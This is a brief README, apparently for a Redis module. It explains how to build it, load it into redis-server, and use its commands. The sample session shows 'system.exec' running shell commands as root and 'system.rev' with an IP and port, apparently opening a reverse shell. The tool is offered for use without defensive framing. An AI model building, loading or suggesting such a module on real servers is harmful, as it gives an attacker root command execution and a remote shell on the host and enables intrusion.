Here's what you need to do to build your first module:

0. Build Redis in a build supporting modules.
1. Build librmutil and the module by running make. (you can also build them seperatly by running make in their respective dirs)
2. Run redis loading the module: /path/to/redis-server --loadmodule ./module.so

Now run redis-cli and try the commands:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999

Enjoy!